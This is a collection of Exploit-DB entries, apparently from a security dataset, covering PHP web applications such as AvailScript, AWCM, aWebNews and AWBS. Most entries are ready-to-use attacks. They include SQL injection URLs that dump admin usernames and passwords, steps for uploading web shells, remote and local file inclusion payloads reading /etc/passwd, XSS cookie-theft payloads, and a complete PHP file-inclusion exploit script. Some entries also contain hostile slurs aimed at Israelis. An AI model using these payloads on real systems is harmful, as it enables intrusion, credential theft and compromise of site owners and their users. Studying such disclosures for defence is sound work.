deardaniel/secdata-raw huggingface dataset:
Exploit-DB #7457
Description: AvailScript Classmate Script - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2008-12-14
Author: S.W.A.T.

Exploit:
[~] Availscript Classmate Script Remote File Upload Vulnerability
[~]
[~] ----------------------------------------------------------
[~] Discovered By: S.W.A.T.   svvateam@yahoo.com
[~]
[~] Home: www.batlagh.com
[~]
[~] Script Page: http://www.availscript.com/classmate_script.php
[~] -----------------------------------------------------------

Xpl:

1.First Register Into The Site ( link: www.site.com/[path]/register.php )

2.In Register Section Select Your phpshell like: c99.php

3.In "Latest Members" Section Right Click On Blank Line & Then Choose Properties

4.Copy The Link Of Your Shell Like: http://www.availscript.com/classmate/memberspics/saeid-61609-c99.php

5.Your Shell Will Be Renamed With Your Name & Random ID like: saeid-61609-c99.php

6.Hack The Site ;)


Demo:

http://www.availscript.com/classmate/



[~] Special Thanks To:

Str0ke, All My Friends, Iranian Hackers & All Muslim

# milw0rm.com [2008-12-14]
Exploit-DB #32352
Description: AvailScript Job Portal Script - 'applynow.php' SQL Injection
Type: webapps
Platform: php
Date: 2008-09-10
Author: InjEctOr5

Exploit:
source: https://www.securityfocus.com/bid/31101/info

AvailScript Job Portal Script is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/job_seeker/applynow.php?jid=-99999+union+select+0,01,concat(username,0x3a,password),0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0+from+admin--
Exploit-DB #6417
Description: AvailScript Jobs Portal Script - 'jid' SQL Injection
Type: webapps
Platform: php
Date: 2008-09-10
Author: InjEctOr5

Exploit:
                          ||          ||   | ||        
                   o_,_7 _||  . _o_7 _|| 4_|_||  o_w_, 
                  ( :   /    (_)    /           (   .  
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|
|     _                   __           __       __          ______     |
|   /' \            __  /'__`\        /\ \__  /'__`\       /\  ___\    |
|  /\_, \    ___   /\_\/\_\L\ \    ___\ \ ,_\/\ \/\ \  _ __\ \ \__/    |
|  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\ \___``\  |
|     \ \ \/\ \/\ \ \ \ \/\ \L\ \/\ \__/\ \ \_\ \ \_\ \ \ \/ \/\ \L\ \ |
|      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\  \ \____/ |
|       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/   \/___/  |
|                  \ \____/ >> Kings of injection                      |
|                   \/___/                                             |
|                                                                      |
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|


<<!>> Found by  :  Cyb3r-1sT

<<!>> C0ntact : cyb3r-1st [at] hotmail.com 
                   
<<!>> Groups : InjEctOr5 T3am 


=======================================================
++++++++++++++++++++ Script information++++++++++++++++++++++
=======================================================


<<->> script        : Availscript Jobs Portal Script

<<->> script site : www.availscript.com             



=======================================================
++++++++++++++++++++++++ Exploit +++++++++++++++++++++++++
=======================================================


<<->> D0rk    : find it

<<->> Exploit :>>>

          >>>> www.site.me/job_seeker/applynow.php?jid=-99999+union+select+0,01,concat(username,0x3a,password),0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0+from+admin--



=======================================================
+++++++++++++++++++++++++ Greetz ++++++++++++++++++++++++
=======================================================


<<->> InjEctOr5 TeaM  :: InjEctOr $ haker-b0y $ Mr.Dangers $ Eng.Silent Night $ QalbHamad $ fisher762 $ Sp1d3r_N3T $ ToTaL $ z3rO s3v3n $ RooT-Hacker

<<->> Best Team : Then TrYaG Te4m & there Forum

<<->> My  best old freinds :: titanichacker $ arb-hawk $ denm0 $ drbaka $ nicehacker $ anaconda-ksa $ sirus $ br1ght-dark  $ Golden-zero

<<->> All muslims

# milw0rm.com [2008-09-10]
Exploit-DB #6514
Description: AvailScript Jobs Portal Script - (Authenticated) Arbitrary File Upload
Type: webapps
Platform: php
Date: 2008-09-21
Author: InjEctOr5

Exploit:
                          ||          ||   | ||        
                   o_,_7 _||  . _o_7 _|| 4_|_||  o_w_, 
                  ( :   /    (_)    /           (   .  
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|
|     _                   __           __       __          ______     |
|   /' \            __  /'__`\        /\ \__  /'__`\       /\  ___\    |
|  /\_, \    ___   /\_\/\_\L\ \    ___\ \ ,_\/\ \/\ \  _ __\ \ \__/    |
|  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\ \___``\  |
|     \ \ \/\ \/\ \ \ \ \/\ \L\ \/\ \__/\ \ \_\ \ \_\ \ \ \/ \/\ \L\ \ |
|      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\  \ \____/ |
|       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/   \/___/  |
|                  \ \____/ >> Kings of injection                      |
|                   \/___/                                             |
|                                                                      |
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|


<<!>> Found by :  Cyb3r-1sT

<<!>> C0ntact  : cyb3r-1st [at] hotmail.com 
                   
<<!>> Groups   : InjEctOr5 T3am 


=======================================================
+++++++++++++ R3membeR Kings of injection +++++++++++++
=======================================================


<<->> script        : Availscript Jobs Portal Script

<<->> script site : www.availscript.com             


=======================================================
++++++++++++++++ pWning israel fuckers ++++++++++++++++
=======================================================


<<->> D0rk    : N0-WaY

<<->> Exploit :

        1) first Register in site in ( Employers Signup ) ...... www.site.me/registeremp.php
        
        2) login as Employer and goto  Edit Image/Logo ..... www.site.me/employer/editlogo.php .. u can upload shell ( shell.php )  
         
        3) hack site :) finished 

=======================================================
+++++++++++++++++++++++ Greetz ++++++++++++++++++++++++
=======================================================



<<->> InjEctOr5 TeaM  :: InjEctOr $ haker-b0y $ Mr.Dangers $ Eng.Silent Night $ QalbHamad $ fisher762 $ Sp1d3r_N3T $ ToTaL $ z3rO s3v3n $ RooT-Hacker

<<->> My  best old freinds :: titanichacker $ arb-hawk $ denm0 $ drbaka $ nicehacker $ anaconda-ksa $ sirus $ br1ght-dark  $ Golden-zero

<<->>  Then TrYaG Te4m & there Forum ( www.tryag.cc/cc ) 

<<->> All muslims

# milw0rm.com [2008-09-21]
Exploit-DB #6411
Description: AvailScript Photo Album - 'pics.php' Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2008-09-09
Author: sl4xUz

Exploit:
###########################################################
# 
#        ___    __ __                  __  __            
#       /\_ \  /\ \\ \                /\ \/\ \           
#   ____\//\ \ \ \ \\ \    __  _ __  _\ \ \ \ \  ____    
#  /',__\ \ \ \ \ \ \\ \_ /\ \/'\\ \/'\\ \ \ \ \/\_ ,`\  
# /\__, `\ \_\ \_\ \__ ,__\\>  <\\>   <\\ \ \_\ \/_/  /_ 
# \/\____/ /\____\\/_/\_\_//\_/\_\\_/\_\ \ \_____\/\____\
#  \/___/  \/____/   \/_/  \//\/_///\/_/  \/_____/\/____/
# 
#                                 security breakd0wn!
###########################################################
# 
# Title: Availscript Photo Album (pics.php) Multiple Vulnerabilities
# Vendor: http://www.availscript.com/
# Vulnerable Version: N/A
# Fix: N/A
# 
###########################################################
# 
# c0ntact: sl4x.xuz[at]gmail[dot]com
# d0rk: "muahaha"
# stop lammo
# 
###########################################################

######################
  1. Information
######################
     With this script you can add pictures in categories create album or wallpaper website.

######################
  2. Vulnerabilities
######################
     SQL Injection in "pics.php" in the "sid" parameter.
     Cross Site Scripting in "pics.php" in the "sid" parameter.
     Cross Site Scripting in "view.php" in the "a" parameter.

######################
  3. PoC
######################
     http://localhost/path/pics.php?sid=-1+union+select+database(),2,3,4,5,6,7,8,version(),10,11,12--
     http://localhost/path/pics.php?sid=[XSS]
     http://localhost/path/view.php?a=[XSS]

###########################################################

# milw0rm.com [2008-09-09]
Exploit-DB #6058
Description: Avlc Forum - 'vlc_forum.php' SQL Injection
Type: webapps
Platform: php
Date: 2008-07-12
Author: CWH Underground

Exploit:
====================================================================
  Avlc Forum (vlc_forum.php id) Remote SQL Injection Vulnerability
====================================================================

  ,--^----------,--------,-----,-------^--,
  | |||||||||   `--------'     |          O	.. CWH Underground Hacking Team ..
  `+---------------------------^----------|
    `\_,-------, _________________________|
      / XXXXXX /`|     /
     / XXXXXX /  `\   /
    / XXXXXX /\______(
   / XXXXXX /           
  / XXXXXX /
 (________(             
  `------'


AUTHOR : CWH Underground
DATE   : 12 July 2008
SITE   : cwh.citec.us


#####################################################
 APPLICATION : Avlc Forum
 VERSION     : N/A
 VENDOR	     : N/A
 DOWNLOAD    : http://www.easy-script.com/compt.php?id=2147
#####################################################

-- Remote SQL Injection ---

---------------------------------
 Vulnerable File [vlc_forum.php]
---------------------------------

@Line

   141:  $sql = "SELECT * FROM vlc_forum WHERE id=$id OR re=$id";
   142:  $req = mysql_query($sql) or die('Erreur SQL !'.$sql.'<br>' . mysql_error());


-------------
 POC Exploit
-------------

[+] http://[Target]/[avlc_path]/vlc_forum.php?action=affich_message&id=-999999/**/UNION/**/SELECT/**/1,user,3,4,5,6,7,8,9/**/FROM/**/mysql.user--


#####################################################################
 Greetz      : ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos   
 Special Thx : asylu3, str0ke, citec.us, milw0rm.com
#####################################################################

# milw0rm.com [2008-07-12]
Exploit-DB #38009
Description: AWAuctionScript CMS - Multiple Remote Vulnerabilities
Type: webapps
Platform: php
Date: 2012-11-04
Author: X-Cisadane

Exploit:
source: https://www.securityfocus.com/bid/56388/info

AWAuctionScript CMS is prone to the following remote vulnerabilities because it fails to sufficiently sanitize user-supplied data:

1. A remote SQL-injection vulnerability.
2. A remote file-upload vulnerability.
3. An HTML-injection vulnerability.

Exploiting these issues could allow an attacker to execute arbitrary script code, upload arbitrary files, steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

AWAuctionScript 1.0 is vulnerable; other version may also be affected. 

http://www.example.com/listing.php?category=Website&PageNo=-1'[SQL-Injection Vulnerability!]
Exploit-DB #16003
Description: AWBS 2.9.2 - 'cart.php' Blind SQL Injection
Type: webapps
Platform: php
Date: 2011-01-16
Author: ShivX

Exploit:
AWBS 2.9.2 Blind SQL Injection 0day
=============================================================================================
Dork....: inurl:/cart?ca=add_other&oid=
Date....: 01-16-2011
Author..: ShivX
Contact.: shivanx[at]gmail[dot]com
Vendor..: http://www.awbs.com
Link....: http://www.awbs.com/packages.php?spt=10 (or demo site)
Version.: 2.9.2 (Possibly <=)
Tested..: RedHat EL 5.6 (Tikanga)
CVE.....: N/A (0day)
=============================================================================================
---Introduction---

Advanced Webhost Billing System (AWBS) is webhosting billpay software written in PHP.
AWBS includes a complete frontend written in XHTML/CSS. This frontend can be used as your
website or in portal mode as a separate client portal and allows for full customization of
its look.

AWBS will communicate to your configured payment gateway(s) to perform live payments while
customers place orders. Once orders are placed, AWBS will then communicate to your configured
registrar, hosting server or reseller hosting account to complete the orders automatically,
then send your configured email(s) to the client(s).

AWBS will:
- Generate invoices and email your clients notifying them a payment is due.
- Automatically charge account balance or credit card on file on the invoice's due date.
- Notify clients if the credit card on file is expired or declined.
- Send domain renewal notices and automatically renew domains.
- Suspend or unsuspend hosting accounts when a payment is not made or paid.

The AWBS backend (admin interface) provides you with a quick and easy 'check in' homepage so
you can find new orders, helpdesk tickets, contact form submissions, affiliate signups,
overdue invoices, errors that may have occurred, and basic sales stats.
=============================================================================================
---Vulnerability---

http(s)://[HOST]/cart?ca=add_other&oid=[TRUE VALUE]'[BLIND-SQL]
=============================================================================================
---PoC Using Time-Based Blind SQL Injection---

https://www.vulnerablehost.com/cart?ca=add_other&oid=1'%20AND%20SLEEP(100)='
Exploit-DB #11025
Description: AWCM - Database Disclosure
Type: webapps
Platform: php
Date: 2010-01-06
Author: alnjm33

Exploit:
Subject:AWCM
Date: 6/1/21010
Author: alnjm33
version:2.1
Tested on: version:2.1
download: http://awcm.sourceforge.net/ar/
Home:sec-war.com<http://sec-war.com>
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::exploit::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
site/path/control/db_backup.php
u will download the database when download it

search for the admin

::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
Greetz to :PrEdAtOr -Sh0ot3R - xXx - Mu$L!m-h4ck3r - ahmadso -JaMbA -RoOt_EgY -jago-dz- XR57 all sec-war.com members
Exploit-DB #15510
Description: AWCM 2.1 Final - Remote File Inclusion
Type: webapps
Platform: php
Date: 2010-11-13
Author: LoSt.HaCkEr

Exploit:
[+]Exploit Title: [awcm v2.1 final Remote File Inclusion]
[+]Date: [13-11-2010]
[+]Author: LoSt.HaCkEr  ~  aDaM_TRoJaN
[+]Software Link: [www.awcm-cms.com]
[+]Version: [v2.1]
[+]CVE :I'M IRaQi ~ Hacker town of Musayyib
[+]Contact: LoSt.HaCkEr[at]yahoo[dot]com ~0r~ LoSt.HaCkEr[at]HaCkEr.ps
http://sourceforge.net/projects/awcm/files/
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
[+]Exploit: http://target/awcm v2.1 final/awcm/includes/window_top.php?theme_file=[ShELL]
[+]Exploit: http://target/awcm v2.1 final/awcm/control/common.php?lang_file=[ShELL]
[+]Exploit: http://target/awcm v2.1 final/awcm/header.php?theme_file=[EV!L] 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Greetings:  No Greet  !_!
Exploit-DB #16049
Description: AWCM 2.2 Final - Local File Inclusion
Type: webapps
Platform: php
Date: 2011-01-26
Author: Cucura

Exploit:
[+]Exploit Title: [awcm v2.2 final Local File Inclusion]
[+]Date: [26-01-2011]
[+]Author: Cucura , Ste@lth (Bl@ck_Falc0n)
[+]Software Link: [www.awcm-cms.com]
[+]Version: [v2.2]
[+]CVE : - 
[+]Contact: Blackcucura[at]Gmail.com
http://sourceforge.net/projects/awcm/files/
-----------------------------------------------------------------

Vuln C0de  in header.php

if(isset($_COOKIE['awcm_theme'])) {
	$theme_file = $_COOKIE['awcm_theme'];
} else {
	$theme_file = $mysql_maininfo_row['defult_theme'];
}

if(isset($_COOKIE['awcm_lang'])) {
	$lang_file = $_COOKIE['awcm_lang'];
} else {
	$lang_file = $mysql_maininfo_row['defult_language'];
}


-----------------------------------------------------------------


[+]Exploit: http://target/awcm/index.php

	GET http://192.168.43.173/awcm/index.php HTTP/1.0
	Cookie: awcm_theme=../../../../etc/passwd%00; 


[+]Exploit: http://target/awcm/index.php

	GET http://192.168.43.173/awcm/index.php HTTP/1.0
	Cookie: awcm_lang=../../../../etc/passwd%00; 


[+]Exploit: http://target/awcm/header.php

	GET http://192.168.43.173/awcm/header.php HTTP/1.0
	Cookie: awcm_lang=../../../../etc/passwd%00; 


[+]Exploit: http://target/awcm/header.php

	GET http://192.168.43.173/awcm/header.php HTTP/1.0
	Cookie: awcm_theme=../../../../etc/passwd%00; 


-----------------------------------------------------------------
Greetz : SpeeDr00t, ReDr0se, InsideJ , eidisky Bl@ck Falc0n Team
Exploit-DB #16165
Description: AWCM 2.2 Final - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-02-14
Author: _84kur10_

Exploit:
# Exploit Title: AWCM v2.2 final Persistent Cross Site Script
# Date: 13-02-2011
# Author:_84kur10_
# Software Link: www.awcm-cms.com
# Version: v2.2
# CVE :
# Contact: 84kur10[at]gmail.com
# Greetz to: SLG all Members, D4nb4r, Navi_terrible, J3h3s, C4br4

http://sourceforge.net/projects/awcm/files/

Register a new user, go to your main panel in
http://[url]/awcm/member_cp.php, edit your avatar and put:

" onmouseover="alert(document.cookie)"><!--

Each that hovered over the area of avatar, jump our alert. we could
make some adjustments to make stealing a cookies.
Exploit-DB #35555
Description: AWCM 2.x - 'search.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-04-01
Author: Antu Sanadi

Exploit:
source: https://www.securityfocus.com/bid/47126/info

AWCM is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

AWCM 2.2 and prior versions are vulnerable.

http://www.example.com/awcm/search.php?search=<script>alert("SecPod-XSS-Test")</script>&where=all
Exploit-DB #13810
Description: AWCM CMS - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-06-10
Author: SwEET-DeViL

Exploit:
# Software Link: http://www.awcm-cms.com/
# Version: 2.x
# Tested on: Lunix

Exploit :

<?php

print("
------------------------------------------------------------
| Awcm Cms Local File Inclusion Vulnerability
| By SwEET-DeViL
| x0.root(at)gmail.com
| example
|
| Exploit.php ".$argv[0]." example.com /path/ ../../../../../../../../etc/passwd
------------------------------------------------------------
");
$host =$argv[1];//;
$Path = "http://".$host.$argv[2];
       $CURL_in ="GET ".$Path."/notify.php?v=a HTTP/1.0\r\n";
       $CURL_in.="User-Agent: Mozilla/4.0 (compatible; MSIE 7.0;
Windows NT 5.1)\r\n";
       $CURL_in.="Pragma: no-cache\r\n";
       $CURL_in.="Cookie: awcm_lang=".$argv[3]."".";\r\n";
       $CURL_in.="Connection: Close\r\n\r\n";

       if ( empty($argv[3]) ){
               echo "\n[-] Error : Exploit failed\n";
               die;
       }

       $FoN = @fsockopen($host, 80);
       if(!$FoN){
               echo "\n[-] Error : Can't connect to ".$host." !!\n";
               die;
       }

       fputs($FoN, $CURL_in);
       while (!feof($FoN)) $data .= fread($FoN, 1024);
       fclose($FoN);

       $error_1 = strstr( $data, "HTTP/1.1 404 Not Found" );
       if ( !empty($error_1) ){
               echo "\n[-] Error : 404 Not Found. \n";
               die;
       }

       $error_2 = strstr( $data, "HTTP/1.1 406 Not Acceptable" );
       if ( !empty($error_2) ){
               echo "\n[-] Error : 406 Not Acceptable. \n";
               die;
       }



$EXc = explode("</head>",$data);
$EXx = explode("<head>",$EXc[1]);
$CODE = strip_tags($EXx[0]);
$CODE2 = preg_replace("/\r|\t/",'',$CODE);
$CODE2 = trim($CODE2);

if (empty($CODE2)){
print ('

[-] Error : Sorry! File not Found

');
}else{
print ('
[+]
------------------------------------------------------------
').$CODE2;



print ('

------------------------------------------------------------
');

}

?>
Exploit-DB #27582
Description: AWeb's Banner Generator 3.0 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-04-07
Author: benozor77

Exploit:
source: https://www.securityfocus.com/bid/17416/info

AWeb's Banner Generator is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/banniere/index.php?mode=view&save=1&size=&text=&banner=%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E&x=&y=&font=&RGBr=&RGBg=&RGBb=&angle=
Exploit-DB #29696
Description: aWebNews 1.1 - 'listing.php?path_to_news' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-03-01
Author: mostafa_ragab

Exploit:
source: https://www.securityfocus.com/bid/22781/info

aWebNews is prone to multiple remote file-include vulnerabilities.

An attacker can exploit these issues to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible. 

http://www.example.com/[aWebNewsPaTh]/listing.php?path_to_news=[Shell]
Exploit-DB #27560
Description: aWebNews 1.2 - 'visview.php?_GET['cid']' SQL Injection
Type: webapps
Platform: php
Date: 2006-04-03
Author: Aliaksandr Hartsuyeu

Exploit:
source: https://www.securityfocus.com/bid/17352/info

aWebBB is prone to multiple input-validation vulnerabilities. The issues include cross-site scripting and SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

Successful exploitation of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.

http://www.example.com/visview.php? a=c&cid=2916852'% 20union%20select% 201,2,3,4,5, 6/*
Exploit-DB #1907
Description: aWebNews 1.5 - 'visview.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-06-13
Author: SpC-x

Exploit:
Credit : SpC-x

mail : SpC-x@bsdmail.org

# SaVSaK.CoM | SpC-x - The-BeKiR |

# aWebNews 1.0 version - Remote File Include Vulnerabilities

# Risk : High

# Class: Remote

# Script : aWebNews

# Credits : SpC-x

# Thanks : The-BeKiR - Ejder - FasTBoY - ERNE - RMx

# Code :

# include "" . $path_to_news . "config.php";
# $db = mysql_connect($db_host,$db_user,$db_pass);

# Vulnerable :

# http://www.victim.com/aWebNews/visview.php?path_to_news=Command-Shell

# milw0rm.com [2006-06-13]